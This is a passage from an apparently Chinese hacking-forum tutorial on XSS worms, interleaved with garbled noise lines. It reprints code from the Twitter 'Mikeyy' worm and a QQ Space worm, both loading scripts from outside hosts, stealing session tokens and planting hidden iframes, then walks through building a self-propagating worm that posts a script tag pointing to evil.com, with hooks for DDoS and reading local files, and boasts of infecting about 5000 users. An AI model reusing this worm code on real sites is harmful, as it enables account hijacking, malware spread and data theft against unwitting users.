XmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
2 Y9 b& P. a, C7 q; `


XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
% h: }: R! }+ {$ `
. F7 y$ f. h# G7 UXmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
9 x* Z. T6 I0 i" n% ~  下载 (5.1 KB)

6 天前 08:27
& L4 R9 T' i# |, `5 @$ Z
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

/ g/ `* V4 j- ]3 H  @- ~3 t: l" ]" x   2.   

   3. function XHConn(){  
- H; O0 W1 Y& v! @: E5 M
7 m8 b0 s( t/ v8 A   4.   var _0x6687x2,_0x6687x3=false;  
/ O& {: f  p- ~8 q
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
- I2 R; x- j5 B
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
% y" c- ]; h7 _( h( g
   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

0 a0 L, o+ G. X% z1 G7 ?# E! s" ?   4.   var tmp_posted=tmp_cookie.match(/posted/);  
( Q- U" \# ^* o" h% y, H
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
2 H' }* u) J. u6 J
$ R5 v+ d! d. H5 l   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

  T* a; j2 W2 f! O. {; G- W   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
& `/ @! U* B- D* R
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
" ~8 {  z6 T  v( i& o+ y1 q
- Z8 D  _; z) l6 E  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
2 B2 t9 \; r  P* m& m: x' c) [
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
" Y. b& r8 B* v
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

) R4 H3 `5 I1 Y/ X& \/ D1 W  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

( ?) l! N: t; w) Q) W) B  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
0 _+ ]" r% T1 X! f
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

3 E4 R4 O- C4 |. C7 ~- K" I& D  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
1 k+ P9 M) C' C! V* o/ F( e
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
0 V) v# r+ k  u/ d* ~
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
# g/ A% M" d7 @# N/ o+ ~6 k
  24.     
) B% n- X  Z, H5 b
5 o2 e& ~4 i/ ~/ f- \  B* p& f  D  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
0 m4 I( j2 @. X& m) ]& t' i8 V
0 c4 O- k. H2 J& `& ]6 `, R$ @  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

' L, q$ ~/ _0 N) [* B6 ~# ?3 y$ w  27.     
0 o( a$ Z% J; B1 A4 M. c
" E7 F( ^/ S' f" e4 c9 J3 _3 K8 A  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

1 s+ A/ c+ D/ x4 |9 R& y) y  31.   var updateEncode=urlencode(_0xf81bx1c);  
. U8 s! ?8 r- ?0 d& X  o
  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
# u6 S1 [. t1 S
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

# g2 q3 L2 z9 ~  w/ N0 ^! M  36.   var ajaxConn2= new XHConn();  
0 J( G$ X& W3 d& q; P( y/ l
. C9 I, k: s) W2 H/ ?% W  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
7 E5 Q, a8 h2 X) }2 i' h  Z
% u" C" o8 ^# H. ~/ u* w  38.     

  39. } ;  
1 Y& T3 ?- D$ \1 y) N# f
  40. setTimeout(wait(),5250);  
6 x. o0 U; q9 m4 m! f$ R复制代码QQ空间XSSfunction killErrors() {return true;}
: F' A0 v, m# J% g
( r) v- h. ^/ P: Jwindow.onerror=killErrors;

, X0 W5 z& K  s! w' P6 O

) J- A; B- D! P' z! Fvar shendu;shendu=4;
& |; u7 B- h3 V, X6 O; {/ T
//---------------global---v------------------------------------------

1 s& S% }# w5 `* v. l//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

7 [' b1 D/ d, Y( J: h( pvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
5 e7 s$ [' z/ u( u3 L0 Y
( @7 M+ C$ x' r; ]2 m: i- _7 x  _        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
0 s$ ~  `& L9 Q2 T/ i9 ]- c
0 z: O! q& G) J; X; |. K        gurl=gurl.substring(0,gurle+3);        
' s/ N# b' b# F7 Y9 _( a, [9 }! u
8 e( j* I+ C5 h3 \        var visitorID=top.document.documentElement.outerHTML;
) \% ]* W) d: O! k
           var cookieS=visitorID.indexOf("g_iLoginUin = ");
: v: ~" Z' T4 t' x8 Y
( N, K# Z9 C/ c, k+ O        visitorID=visitorID.substring(cookieS+14);

3 i! N5 z2 Q- {5 H        cookieS=visitorID.indexOf(",");
+ K  P) b# L1 h/ S2 D# n# @: }3 j
9 d( z3 Y- V% J        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
$ D4 ^2 X2 r; w; x
        DOshuamy();
4 ~$ f+ l$ r9 T4 k/ g/ V; ~+ Q
% h; d, H6 x6 n- Z3 J1 ^
( w. v9 \. s1 M* J/ _
, t1 s, _; k" D4 c7 _4 ^//挂马

function DOshuamy(){
" I- Z4 X+ H: J- S% a4 B" R8 u+ a
1 k  o. a: ^, b/ |  Q9 ]7 V$ @  ]; s* Dvar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
; ~/ \7 f0 a* w


+ ?5 U3 E  |! |& Y% ^2 g( v1 y; W" s//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
8 d! S6 g8 s5 e8 K
function get_my_blog(visitorID){

3 c  B+ L7 U& c% R/ z" {+ z* m  y   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
' D  Q7 _- g+ a3 D& z
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
/ c' D" w0 S' ^8 c; |
% \& l' k2 h, H% L0 @     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
0 h+ l6 V: n9 A: O& d. ~  j
; [6 p( x& m1 ?) }% A6 I     xhr.send();guest=xhr.responseText;
4 E$ u) w  r, B: y5 |5 e3 z
     get_my_blogurl(guest);    //执行这个函数
3 _! T$ g3 T4 O# r. p
* v8 p- D1 T6 s" f/ ?3 H    }

}
3 E* M8 g- p# B. |- l
+ w, T9 D4 ?: l1 `8 m

! b. M6 g. U, O4 w6 h//这里似乎是判断没有登录的

% E! ?9 a5 ]0 V7 j5 M/ ^0 Ffunction get_my_blogurl(guest){
, d) m9 W3 r& o3 N
% b$ Y' u+ z0 ~- ]6 b, q( M! a  var mybloglist=guest;
2 X  E/ L3 F% o2 ^7 A
  var myurls;var blogids;var blogide;
1 J, ~- y7 l, Z9 u% P+ c& q0 _
( P# Y" ^3 B) |+ v  for(i=0;i<shendu;i++){
/ d6 D! r& ]2 ^; R& A
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的
+ b( O, Q7 `# B$ A- n) V. }
) ^, C8 f- J; @4 \2 w: k         mybloglist=mybloglist.substring(myurls+11);

0 [3 g8 a3 ^. V8 Z4 O; U         myurls=mybloglist.indexOf(')');

1 o6 |  o5 h9 m1 [$ d         myblogid=mybloglist.substring(0,myurls);
8 b) w& G; x( Z) L5 E5 y* c! d- ?; M
        }else{break;}

}

get_my_testself();    //执行这个函数
1 D! C& ~! b: O: e  V; r: u: v1 `
}
( Q* M) R% R7 h9 o; d  B2 e+ l

* s5 i% q8 _7 n9 ]" @
//这里往哪跳就不知道了

function get_my_testself(){

; M! N" m2 V. y& J& M3 W- k9 E) W  for(i=0;i<myblogid.length;i++){    //获得blogid的值
; g0 I* e0 h1 z- j) H
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
) V: e6 d  t5 ~$ `& m# L0 {
1 `) Y* G2 F4 H  G5 P6 Y4 B6 j      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

  w; [: W9 X5 D4 k4 }3 i  M      if(xhr2){        //如果成功
( L( k  j2 |/ s6 y+ R
              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
6 v9 }" r6 T" x# C: k* m: s0 d
, _: j% U4 J' h! T( X1 ?              guest2=xhr2.responseText;
$ b9 C3 T9 a- q
/ L& n. I) ^7 ?' D7 |1 z4 F              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
) g* }  R$ n0 U0 S& i
7 b. q# e# @8 ]% E              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
: R: w& W/ C" p/ |, x& V, Z
0 a& |2 M& W  t; [7 ]  s0 F1 l0 ?' u              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
' j1 l2 v2 F+ J4 R- O
3 @" `1 t4 @  j8 \4 a+ h2 B0 ?                targetblogurlid=myblogid;   
- Q: s, h& p$ j) C1 |7 A
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

* H+ Y5 Q1 `/ g% P                break;
& ]0 g" S9 t; R* e
7 v% q! X$ p3 p               }
- H% p- M5 ~2 K) S5 I
              if(mycheckit=="-1"){

" L: ?& M' Q) a0 a5 r                targetblogurlid=myblogid;
# g2 L, e1 V$ j) r2 V% `0 B- @
% ?9 w6 @2 G: T                add_js(visitorID,targetblogurlid,gurl);    //执行它
/ U3 T$ |2 S! _2 R  f
* h  u5 T4 l) k8 u4 H7 v: Z                break;
$ y6 r, \, T- \" t9 s
  i1 R3 E& j3 K# y  Q" u               }

/ W% t  l3 ]+ ]: f- o        }      

}
+ T: Y, {6 s9 b, s
}

" z: s4 K% S- I: _% w: A

//--------------------------------------  
; m. i" }8 D" q9 @7 @
1 W; V! a; q! O! g( Z//根据浏览器创建一个XMLHttpRequest对象
4 v7 F$ H- T$ P0 t1 ~, s7 B$ j6 d
function createXMLHttpRequest(){
4 W4 Y7 z! W/ m5 f$ I: O: p
    var XMLhttpObject=null;  
9 o( c7 D$ V' @+ o8 z. M" B
0 }' A- e  i+ a. m0 u3 r+ S    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
9 j3 U7 r& L  W$ h" H5 i
2 ?5 i, S4 I% g0 }    else  
2 x' I2 E  h1 D! i1 c
# c  a- P# n+ M+ ~      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  
2 E1 f! D8 q8 w9 k2 ?; N9 L/ l
        {  

* y+ V+ k, @% L4 x/ [- i            try  
) B/ R. I/ U8 p/ B2 i' {: V5 i* I
. W. U: g- g% c$ q$ o# g/ @2 J+ G            {  

4 ]4 o  s2 ?4 @1 y2 j0 ?                XMLhttpObject=new ActiveXObject(MSXML);  
9 J+ r. R! j  B/ s/ D, B
: d7 X, O# ~* U                break;  
# F, E. z2 E# b( I* Y8 V/ `) S
            }  
9 X: v) H0 p: F1 f6 r# z: A# M
            catch (ex) {  
+ N6 Q* B: d1 o, r9 j: R
            }  
8 o' A; A) e( ~5 z4 a3 D3 J; T
0 |! M+ x# N* a$ ]         }  
# F( h3 o( g* h' X* Z8 V
- l8 w5 |3 t2 Y# S: ^; v      }
0 f# `' G9 n" N0 {8 d' y" D
4 ~' u9 {- P4 J( J- ~return XMLhttpObject;
8 d8 h* N% k* ?3 n8 f+ X& y6 U
6 ]2 y" M- }! a9 I}  
" A- q7 I/ g* _$ G; l
5 A, ]4 }! e( G$ S# b+ Q
' J5 J# N9 c. m- h2 V* T8 V' J" X
6 h) y6 b" Y: n7 d3 g; @1 [//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
4 c" ^- O6 f- }5 P' t; M/ O
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
: V3 t) Q: D& Y- u: Z$ `
( u( g! }/ ^! q! a( Is2.type='text/javascript';
/ V2 D/ J8 ^9 i3 }8 F
document.getElementsByTagName('head').item(0).appendChild(s2);

}

1 K' Q$ x/ g9 M) s2 {

function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

7 K* U  q' H7 s; B0 g% _& G" K" Us2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

- v! p! `% j6 o8 F- ^s2.type='text/javascript';
) U$ f( K/ P4 C# w/ ?
+ b+ C! w" S# @% Ydocument.getElementsByTagName('head').item(0).appendChild(s2);

% p5 M; r3 G0 ?: D( d}
+ Z9 E7 Z6 p- g6 o( e% m- V$ E复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
6 q' G9 i* Z, l+ ]+ T0 y- q1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
  p0 l0 j6 d; b1 S, I
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
- V5 B0 c, R* W* s7 m  v, T* G

4 C. K3 g; `$ Z, c' t+ W下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
+ o+ q" |& S+ r, ~- w* E
首先,自然是判断不同浏览器,创建不同的对象var request = false;
% t0 L3 v3 y% Z) t
$ Q# P! _4 F! m8 o: Y( f/ g  bif(window.XMLHttpRequest) {
  ]! h" J( e# D7 w/ p* [1 M/ |
request = new XMLHttpRequest();

0 o+ P4 c' ]5 Iif(request.overrideMimeType) {
5 {9 Y! r+ }5 \) a2 Y% R0 Q
0 y$ ]7 u4 M) n4 S! v8 \request.overrideMimeType('text/xml');
. v. i1 b' Z4 ?; K  `' V& e
}

} else if(window.ActiveXObject) {
% s: D$ }! [% G1 v) f
0 }( |6 l0 K1 ]var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 r% ^) Z! ^8 v9 X
for(var i=0; i<versions.length; i++) {

( v* J/ _2 v0 `& w5 a/ u  Utry {
1 b, s* J: v: _1 N2 |
. A7 x! u7 U- T# \# h4 ^  erequest = new ActiveXObject(versions);

  y+ e& y2 |3 O( M} catch(e) {}

}

% y4 d  A( `4 ]9 e% Z7 i+ X0 Q}
  ~3 O% q2 n: P/ t
) H( @* T8 c" s$ z8 ^xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
. d6 f; Z6 n+ Y, z5 @
        var Browser_Name=navigator.appName;

9 r% t1 m2 a3 k( V& E$ @        var Browser_Version=parseFloat(navigator.appVersion);

) f- n* S+ T9 s) t9 E& j" u        var Browser_Agent=navigator.userAgent;

        
: y. w# U' Q/ \- {0 A/ U9 u
+ X9 _3 |$ [- V0 _! J# v: S6 X  f        var Actual_Version,Actual_Name;
4 ?5 }9 ~: k$ X) p/ [
        
4 W% p' e, _( C% T% c
1 u) a& J$ o4 R        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
, I7 ~9 y0 h/ `. K2 N  H  T( ~
        var is_NN=(Browser_Name=="Netscape");
# R# O0 D" Q/ Z
+ J+ Q( ]& {; I. P        var is_Ch=(Browser_Name=="Chrome");

        
% r3 H; D9 F* w5 z0 |$ ^+ ^* p) |
        if(is_NN){

            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

; {( [" T( U# S. d7 Z                var Version=Browser_Agent.indexOf(" ",Split_Sign);
3 g. {% ^: E" B% F
! R* J7 O* Y3 t% ^                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

4 E7 }) ?9 K+ n; G* i5 b9 W
1 X0 a) k4 c/ J( p( @
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

7 ?8 I7 h3 N( E+ [                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
* C0 P! b3 ]+ B0 [; R( L6 l
0 n8 e6 J' o3 O' X/ {. V            }

            else{

# O, i( I# @- Y' [                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
+ s/ z+ {3 A* c: b( ?; i
            }
; p/ ]2 A9 e! k  ^8 V
# \: t6 ]0 r4 m) ?% g  Y+ ]( l6 p0 a        }

5 x3 H4 X1 k9 H! r& a- a# a  p        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

1 z. H( h* n( j% t0 ], M+ B            var Version_End=Browser_Agent.indexOf(";",Version_Start);

; O( |3 Y! [2 @, u6 {3 K3 Y            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
1 h' u: K6 `. l) f
5 o1 i7 b( ~: o6 B            Actual_Name=Browser_Name;
% l6 B  s8 ^5 K! w# L# K
) }8 e6 c" M/ ]            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

& r- e' A3 P" e                Actual_Name+="(Maxthon)";

) A, H5 |3 ^% \8 |6 `" U            }

+ s! g2 _+ k+ n) M/ I6 y/ i            else if(Browser_Agent.indexOf("Opera")!=-1){
( }& n* N( r2 T' b, k
- b5 G- `& F: H                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
* H6 x8 P3 q. |1 Y, f. y+ V
$ n% i$ o3 |) V+ j' f7 y+ h; y                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

2 U% t3 L, n) q# z* x! w5 K. f) W            }
' R/ O  U" J, V! g; g3 E/ e
        }
9 ?, A2 t( N0 j7 q7 P: q! c" P
; \4 D% L$ c, @9 v; Z        else if(is_Ch){
& s( p# h5 U  y9 u
            var Version_Start=Browser_Agent.indexOf("Chrome");
  E  `: H5 d! g- V  x3 X
6 l! B& d7 t; |' _. f6 E            var Version_End=Browser_Agent.indexOf(";",Version_Start);
4 M# _2 g6 Q9 P7 |9 m8 s
7 @3 q; X$ I+ X! N2 \            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
* I0 {) \4 S/ Y
            Actual_Name=Browser_Name;
- ]) k3 a1 m$ h4 W6 Q  A
            
  m' o2 Z7 c! {% N0 s8 L
1 R8 k7 P7 K1 P! q+ B            if(Browser_Agent.indexOf("Maxthon")!=-1){
; ~+ p) ^( d& s4 E( m: L( W$ W
                Actual_Name+="(Maxthon)";
) m0 W6 c% s" F: }- O
# H# z) S- ^% J            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
6 Y& \4 F, A/ y  k6 G/ c8 W
6 k- ~; S* W* A- H! y  Y2 y: D3 u                var tempstart=Browser_Agent.indexOf("Opera");
" `( v5 J/ U  ]3 r3 m' I7 G
                var tempend=Browser_Agent.length;

8 u' R% Y9 b' e# T  W                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
- \+ ^+ A+ E4 e: R1 z
8 I) f. z, d9 M            }

        }
4 v! E; f% @- k* Y
& z4 M' O5 i6 f8 _! S$ k        else{

            Actual_Name="Unknown Navigator"
' ?  L1 M3 |/ C: ]5 h) z, N& Y
+ L* X/ q# z8 m0 |) ^5 Q# x            Actual_Version="Unknown Version"

        }

7 o3 Q5 A+ @2 m( l& f' E$ w

        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;
9 ]: ~1 g3 ?8 I
        

# c  m$ e2 [7 I( B        this.Name=Actual_Name;
3 r; `1 m- O1 l2 D. k- P; u
; n6 Q# J) h4 n) }        this.Version=Actual_Version;

9 `  |* x. k0 p% b2 M) n# w" d* }+ d( a    }
  q* M3 ]& b1 t+ E, f  ]6 {! u
    browserinfo();
  \0 D  E* M  a  S. H
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

9 h( m  ]  p9 ?2 b) |5 n    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
+ Y9 I& N2 ?7 X
4 c& k. [, n6 H! V# {, E# `/ x7 r5 C    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
7 H+ n5 o1 [! I, |+ L复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
, g# [( D2 U2 C0 j1 M% t- N4 ^复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

. Z4 z3 Z" g5 U/ I/ E% txmlHttpReq.send(null);
' \5 e( D" X+ K- e  [2 ^" N
var resource = xmlHttpReq.responseText;

var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

  U" z) W' _4 C" Z" I8 Jid++;
, I; h5 x9 R8 d1 G+ d
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
8 [! q$ e) L( i) l+ g2 U5 L' O
5 w2 o+ j  F8 |8 x0 ~% O; B  }no=resource.search(/my name is/);
) v2 F+ r' }& L/ E$ }/ S( B
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
' H6 f$ t% o  H# n6 i" [8 P
3 P* l% b4 O: \" Wvar post="wd="+wd;

" Y' z# S* s  K- }( s- NxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
. k) Z$ W' }# P, _) h
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
9 M. ?6 s2 T) _
6 T+ m* O& |% T2 exmlHttpReq.setRequestHeader("content-length",post.length);
4 |3 Z6 s( q$ s
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
3 b9 ^# J, @2 I
  b( T1 V# U" u  |( NxmlHttpReq.send(post);
0 G: A* X8 g" m) l. z
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

4 }$ V4 [6 k( i; kvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
4 Q8 a; v% _! h9 W: ]3 @6 H6 m
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
4 w# S# Z4 z/ v  R  X; _0 [" T* p
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;

1 Q; G* D. x$ R+ u) \1 D! lxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

  l) }9 ^/ }4 {! I4 ^% l2 Y+ s. ?xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
: P. v) }3 |( G5 e
xmlHttpReq.setRequestHeader("content-length",post.length);
" b, n4 P: I. z
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

; L0 [6 ?2 h; D: p# S2 A8 A}
2 b* Y$ t* \5 P, A复制代码-----------------------------------------------------总结-------------------------------------------------------------------
$ T- ]! o! ^0 o( g

. G. {0 o" E# H! q; {1 k
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
3 u& P1 a1 x" U% P操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
& o; \) }+ m( E+ [% F9 u
7 d7 I3 v2 n$ e5 u* A( a! B: q
3 k7 j! t. a* `0 {/ K) z# T/ }; w+ u

- k, L: n+ S+ V* `9 R
